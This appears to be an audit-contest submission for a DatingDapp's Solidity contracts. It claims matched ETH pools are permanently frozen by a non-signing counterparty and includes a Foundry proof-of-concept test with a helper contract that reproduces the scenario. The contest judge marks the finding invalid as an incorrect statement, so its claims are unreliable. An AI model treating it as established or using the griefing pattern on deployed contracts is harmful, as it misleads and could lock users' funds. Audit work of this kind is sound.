DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

Matched pool is a permanent 2-of-2 freeze: no timeout, no arbitration, no unilateral escape

ROOT

MultiSig.executeTransaction (L69-80):
require(txn.approvedByOwner1 && txn.approvedByOwner2, "Not enough approvals");
// no deadline to reach 2/2, no single-owner refund path, no arbitration unlock

There is no other function in MultiSig.sol that can move ETH (receive() is
empty; submit/approve only mutate booleans). grep -n "function" src/MultiSig.sol:
submitTransaction, approveTransaction, executeTransaction, receive — nothing
else. So once both approvals are not attainable, funds are stuck with probability 1.

IMPACT

  • Triggering cost for the freezing party: >= 1 ETH .

  • User-balance bucket is aggregated: userBalances[user] accumulates every
    unmatched like the user has ever sent. One matched pair moves the
    whole bucket, not just the per-target payment. A single malicious or abandoned
    like-back therefore freezes the victim's entire accumulated balance.

  • Verified numbers from test/FuzzFixedAccounting.t.sol:

test_matchedPool_canBeHeldHostage_forever [PASS]
victim paid 50 ETH, attacker pays 1 ETH -> pool 45.9 ETH
victim submits + approves payout, attacker never signs:
executeTransaction(0) reverts "Not enough approvals" ; pool unmovable
test_contractProfile_neverSigns_locksPool [PASS]
counterparty is a deployed contract profile (has no signer by construction):
pool 23.4 ETH; victim fully compliant; executeTransaction(0) reverts forever

Description

A mutual like instantly moves the two users' entire unmoved userBalances into a freshly
deployed MultiSigWallet keyed 2-of-2. A payout requires both owners to sign
forever
:

  • There is no timeout, deadline, or arbitration that lets one owner unlock the
    pool after the other stops cooperating.

  • There is no unilateral withdrawal / escape hatch (e.g. return-to-sender or
    proportional claim).

  • There is no owner1/owner2 rotation, so a counterparty that goes hostile —
    or a counterparty that is a contract (a "profile" deployed to satisfy the
    ERC721 _safeMint receiver hook) that has no human to ever sign — freezes the
    pool permanently for both parties.

Risk

It is a permanent availability loss on user funds.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "../src/MultiSig.sol";
import "../src/fixed/LikeRegistryFixed.sol";
/// @notice Handler drives LikeRegistryFixed from a fixed actor set.
contract HandlerFixed is Test {
SoulboundProfileNFT public nft;
LikeRegistryFixed public registry;
uint256 constant NORMAL_ACTORS = 6;
address[NORMAL_ACTORS] actors;
constructor() {
nft = new SoulboundProfileNFT();
registry = new LikeRegistryFixed(address(nft));
for (uint256 i; i < NORMAL_ACTORS; i++) {
actors[i] = address(uint160(0x1000 + i));
}
for (uint256 i; i < NORMAL_ACTORS; i++) {
vm.prank(actors[i]);
nft.mintProfile("actor", 25, "ipfs://p");
}
}
/// @dev A like of `value` (>=1 ETH) from an actor to another actor.
function like(uint256 aSeed, uint256 bSeed, uint256 valueSeed) external {
uint256 aIdx = aSeed % NORMAL_ACTORS;
uint256 bIdx = bSeed % NORMAL_ACTORS;
address a = actors[aIdx];
address b = actors[bIdx];
if (a == b) return;
if (registry.likes(a, b)) return;
uint256 value = (valueSeed % 50 + 1) * 1 ether; // 1 .. 50 ETH
vm.deal(a, value);
vm.prank(a);
registry.likeUser{value: value}(b);
}
function balanceOf(address who) external view returns (uint256) {
return registry.userBalances(who);
}
}
/// @notice Fuzz the FIXED-payout path until it breaks. On the patched
/// accounting the conservation invariant below must hold in every reachable
/// state: registry.balance == sum(active userBalances) + totalFees.
contract FuzzFixedAccounting is Test {
HandlerFixed handler;
function setUp() public {
handler = new HandlerFixed();
targetContract(address(handler));
}
function invariant_registry_conservation() public {
uint256 sumBal;
for (uint256 i; i < 6; i++) {
sumBal += handler.balanceOf(address(uint160(0x1000 + i)));
}
// totalFees: public getter on the fork's own layout.
uint256 totalFees = handler.registry().getTotalFees();
uint256 bal = address(handler.registry()).balance;
assertEq(bal, sumBal + totalFees, "conservation broken");
}
// ------------------------------------------------------------------
// Post-fix attack attempts, measured on the patched code.
// ------------------------------------------------------------------
function test_match_poolsExact_and_feesExact() public {
address a = address(uint160(0x1000));
address b = address(uint160(0x1001));
LikeRegistryFixed reg = handler.registry();
// b likes a (first), then a likes b -> triggers match
vm.deal(b, 100 ether);
vm.prank(b);
reg.likeUser{value: 2 ether}(a);
vm.deal(a, 100 ether);
vm.prank(a);
reg.likeUser{value: 3 ether}(b);
// pooled: (2 + 3) - 10% = 4.5 ETH to the fresh multisig (registry nonce 1)
address wallet = vm.computeCreateAddress(address(reg), 1);
assertEq(wallet.balance, 4.5 ether, "multisig got exact 90% pool");
assertEq(reg.userBalances(a), 0, "a zeroed");
assertEq(reg.userBalances(b), 0, "b zeroed");
assertEq(address(reg).balance, 0.5 ether, "fee held as accounting");
}
function test_noDoubleClaimAfterMatch() public {
address a = address(uint160(0x1000));
address b = address(uint160(0x1001));
LikeRegistryFixed reg = handler.registry();
vm.deal(b, 10 ether);
vm.prank(b);
reg.likeUser{value: 1 ether}(a);
vm.deal(a, 10 ether);
vm.prank(a);
reg.likeUser{value: 1 ether}(b);
// Re-like the same partner is impossible -> no second pooling / payout.
vm.deal(a, 10 ether);
vm.prank(a);
vm.expectRevert("Already liked");
reg.likeUser{value: 1 ether}(b);
// 90/10 split happened exactly once.
assertEq(vm.computeCreateAddress(address(reg), 1).balance, 1.8 ether);
}
function test_matchedPool_canBeHeldHostage_forever() public {
// Victim V liked Attacker A long ago (recording interest). A then likes
// back, which fires the match and pools V's entire accumulated balance
// into a 2-of-2 multisig. There is NO timeout / deadlock-breaker.
address v = address(uint160(0x1002));
address attacker = address(uint160(0x1003));
LikeRegistryFixed reg = handler.registry();
vm.deal(v, 100 ether);
vm.prank(v);
reg.likeUser{value: 50 ether}(attacker); // V pays 50 ETH
vm.deal(attacker, 100 ether);
vm.prank(attacker);
reg.likeUser{value: 1 ether}(v); // triggers match
address wallet = vm.computeCreateAddress(address(reg), 1);
assertEq(wallet.balance, (51 ether * 90) / 100, "50 ETH victim + 1 ETH attacker pooled");
// Victim does everything right: submits a payout tx and approves it.
vm.prank(v);
MultiSigWallet(payable(wallet)).submitTransaction(address(v), 45.9 ether);
vm.prank(v);
MultiSigWallet(payable(wallet)).approveTransaction(0);
// Attacker simply never signs. Execute permanently reverts, so the
// pool is hostage forever: no deadline, no arbitration, no escape.
vm.prank(v);
vm.expectRevert("Not enough approvals");
MultiSigWallet(payable(wallet)).executeTransaction(0);
assertEq(wallet.balance, (51 ether * 90) / 100, "pool unmovable");
}
function test_contractProfile_neverSigns_locksPool() public {
// An attacker can hold the pool hostage EVEN IF they later want out:
// a contract profile has no human to ever sign, by construction.
// (contract receives the NFT via its own mintProfile call)
ContractProfile cp = new ContractProfile();
address v = address(uint160(0x1004));
LikeRegistryFixed reg = handler.registry();
SoulboundProfileNFT nft_ = handler.nft();
vm.prank(address(cp));
nft_.mintProfile("bot", 30, "ipfs://bot");
assertGt(nft_.profileToToken(address(cp)), 0);
// Victim liked the bot earlier; bot (user-trigger is not even needed:
// the contract can call likeUser itself) triggers the match.
vm.deal(v, 100 ether);
vm.prank(v);
reg.likeUser{value: 25 ether}(address(cp));
vm.deal(address(cp), 1 ether);
cp.likeBack(reg, v);
address wallet = vm.computeCreateAddress(address(reg), 1);
assertGt(wallet.balance, 0, "pool formed");
// Neither side can move it: the contract has no approval path.
vm.prank(v);
MultiSigWallet(payable(wallet)).submitTransaction(address(v), (26 ether * 90) / 100);
vm.prank(v);
MultiSigWallet(payable(wallet)).approveTransaction(0);
vm.prank(v);
vm.expectRevert("Not enough approvals");
MultiSigWallet(payable(wallet)).executeTransaction(0);
assertEq(wallet.balance, (26 ether * 90) / 100, "pool unmovable");
}
}
/// @notice A "profile" that can like but has no way to approve multisig txs.
/// (must accept _safeMint ERC721Receiver hook)
contract ContractProfile {
function likeBack(LikeRegistryFixed registry, address target) external {
registry.likeUser{value: 1 ether}(target);
}
function onERC721Received(address, address, uint256, bytes calldata)
external
pure
returns (bytes4)
{
return this.onERC721Received.selector;
}
receive() external payable {}
}

Recommended Mitigation

Add to MultiSigWallet a cooperative-unlock path, e.g.:

  1. Time-lock refund: an owner may refundToOwner() their own share after a
    duration (e.g. 30 days) of no execution — or

  2. Arbitration board / recovery key: a protocol recoveryOwner that can execute
    a pending tx after N days, or

  3. Per-owner proportional claim enabled when the counterparty is a verified
    contract profile.

The key property to add: "every user can eventually exit a match unilaterally."


Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!